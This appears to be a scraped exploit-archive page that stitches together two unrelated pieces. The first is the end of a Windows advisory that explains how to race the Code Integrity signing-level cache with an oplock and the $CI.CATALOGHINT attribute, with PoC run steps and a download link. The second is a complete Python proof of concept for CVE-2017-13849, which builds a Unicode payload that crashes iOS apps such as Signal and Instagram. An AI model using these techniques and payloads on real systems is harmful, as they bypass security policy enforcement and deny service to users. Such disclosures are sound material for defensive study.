The final piece of the puzzle is how to win that race reliably. The key is the validation against the catalog files. We can use an exclusive oplock to block the kernel opening the catalog file temporarily, which crucially happens after the target file has already been hashed. By choosing a catalog we know the kernel will check we can get a timing signal, modify the target file to be an unsigned, untrusted file then release the oplock and let the kernel complete the verification and writing of the cache. 

Almost all files on a locked down system such as Win10S are Microsoft Platform signed and so end up in catalogs such as Microsoft-Windows-Client-Features-Package. This seems like a hot-path file which might always be opened by the kernel and so couldn’t be exploited for an oplock. However another useful feature now comes into play, the fact that there’s also an EA which can specify a hint name for the catalog the file is signed in. This is called $CI.CATALOGHINT and so isn’t a kernel EA which means we can set it. It contains a UTF8 encoded file name (without path information). Importantly while CI will check this catalog first, if it can’t find the hash in that catalog it continues searching everything else, so we can pick a non-hot-path catalog (such as Adobe’s Flash catalogs) which we can oplock on, do the write then release and the verification will find the correct real catalog instead.  I don’t think you need to do this, but it makes it considerably more convenient.

Note that to exploit this you’d likely need executable code already running, but we already know there’s multiple DG bypasses and things like Office on Win10S can run macros. Or this could be used from shellcode as I can’t see any obvious limitation on exploiting this from a sandbox as long as you can write a file to an NTFS drive with the USN Change Journal enabled. Running this once would give you an executable or a DLL which bypasses the CI policies, so it could be used as a stage in an attack chain to get arbitrary code executing on a DG system.

In theory it think this would also allow you to specify the signing level for an untrusted file which would allow the DLL to be loaded inside a PPL service so you could use this on a vanilla system to try and attack the kernel through PPL’s such as CSRSS as an administrator. I don’t know how long the cache is valid for, but it’s at least a day or two and might only get revoked if you update your system or replace the file.

Proof of Concept:

I’ve provided a PoC as a C# project. It will allow you to “cache sign” an arbitrary executable. If you want to test this on a locked down system such as Win10S you’ll need to sign the PoC (and the NtApitDotNet.dll assembly) so it’ll run. Or use it via one of my .NET based DG bypasses, in that case you can call the POC.Exploit.Run method directly. It copies notepad to a file, attempts to verify it but uses an oplock to rewrite the contents of the file with the untrusted file before it can set the kernel EA.

1) Compile the C# project. It will need to grab the NtApiDotNet v1.0.8 package from NuGet to work.
2) Execute the PoC passing the path to an unsigned file and to the output  “cache signed” file, e.g. poc unsigned.exe output.exe
3) You should see it print the signing level, if successful.
4) You should not be able to execute the unsigned file, bypassing the security policy enforcement.

NOTE: If it prints an exception then the exploit failed. The opened catalog files seemed to be cached for some unknown period of time after use so if the catalog file I’m using for a timing signal is already open then the oplock is never broken. Wait a period of time and try again. Also the output file must be on to a NTFS volume with the USN Change Journal enabled as that’s relied upon by the signature level cache code. Best to do it to the boot drive as that ensures everything should work correctly.

Expected Result:
Access denied or at least an error setting the cached signing level.

Observed Result:
The signing level cache is applied to the file with no further verification. You can now execute the file as if it was signed with valid Microsoft signature.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/43162.zip
HireHackking 
# Exploit Title: TpwnT - iOS Denail of Service POC
# Date: 10-31-2017
# Exploit Author: Russian Otter (Ro)
# Vendor Homepage: https://support.apple.com/en-us/HT208222
# Version: 2.1
# Tested on: iOS 10.3.2 - 11.1
# CVE: CVE-2017-13849

"""
-------------------------
     CVE-2017-13849
  TpwnT by Ro of SavSec
-------------------------

Description:
	Thread Pwning Text (TpwnT) is maliciously crafted text that affects the iPhone and other Apple devices by exploiting a vulnerability found in the Core-Text firmware which results in a thread crash or extreme application lag!

Recorded Tests / Results:
	Signal version 2.14.1 on iOS 10.3.2 (fixed on 2.15.3) users were able to crash conversations by sending the payload which would result in the app crashing when the selected chat was opened.
	
	Instagram version 10.25 (fixed on 10.31) on iOS 10.3.2 and resulting in chat thread crashes when the payload was sent which disallowed users to load chat or send messages. When the payload was unsent the chat was fuctional.
	
	Pythonista 3 on iOS 10.3.2, crashed when displaying multiple sets of TpwnT or while rotating the device.
	
Summary:
	When displaying the TpwnT Characters on iOS < 11.1 the iPhone may lag intensely or crash on certain apps!
	This allows for the possibility of DoS related attacks or application crashing attacks.

Creator: @Russian_Otter (Ro)
Discovery: 7-17-2017
Disclosure: 10-31-2017
Disclosure Page: https://support.apple.com/en-us/HT208222

Affected Devices
	iPhone 5S iOS < 11.1
	iPhone 6 & 6S iOS < 11.1
	iPhone 7 iOS < 11.1
	iPhone 8 iOS < 11.1
	iPhone X iOS < 11.1
	Apple TV 4th Generation
	Apple TV 4K 4th Generation
	iPod Touch 6th Generation
	iPad Air
	watchOS < 4.1
	tvOS < 11.1
	iOS < 11.1

Tested Devices:
	iPhone 5S iOS 10.3.2 - 11.1
	iPhone 6S iOS 10.3.1 - 11.1
	iPad Mini 2 iOS 10.3.2
	Apple TV 2 tvOS 10

Tested Apps:
	Signal
	Instagram
	Snapchat
	Safari
	Tanktastic
	Pythonista 3
	Notepad

"""

tpwnt = "880 881 883 887 888 975 1159 1275 1276 1277 1278 1302 1304 1305 1306 1311 1313 1314 1316 1317 1318 1319 1322 1323 1324 1325 1326 1327 1328 1543 2304 2405 3073 3559 3585 3586 4091 4183 4184 4353 6366 6798 7679 7680 7837 7930 7932 7933 7934 7935 7936 8343 8344 8345 8346 8347 8348 8349 8376 8381 8382 8383 8384 8524 9136 9169 10215 10216 11153 11374 11377 11381 11390 11392 11746 11747 11748 11749 11750 11751 11752 11753 11754 11755 11756 11757 11758 11759 11760 11761 11762 11763 11764 11765 11766 11767 11768 11769 11771 11772 11773 11774 11775 11776 11811 11813 11814 12295 12344 12357 12686 19971 19975 42560 42562 42563 42564 42565 42566 42567 42568 42569 42570 42571 42572 42573 42574 42575 42576 42577 42578 42579 42580 42581 42583 42584 42585 42587 42588 42589 42590 42591 42592 42594 42595 42596 42597 42598 42599 42600 42601 42602 42603 42604 42605 42606 42608 42609 42610 42611 42612 42613 42614 42615 42616 42617 42619 42620 42621 42622 42623 42624 42625 42627 42628 42629 42630 42632 42633 42634".split()

payload = ""
for i in tpwnt:
	s = unichr(int(i))
	payload += s

payload = bytes(payload)
payload_unicode = unicode(payload)

# Proof of Concept
# iOS < 11.1 Devices that display these characters should experience lag or crashes while TpwnT is visible

if raw_input("Show Payload [y/n] ") == "y":
	print payload_unicode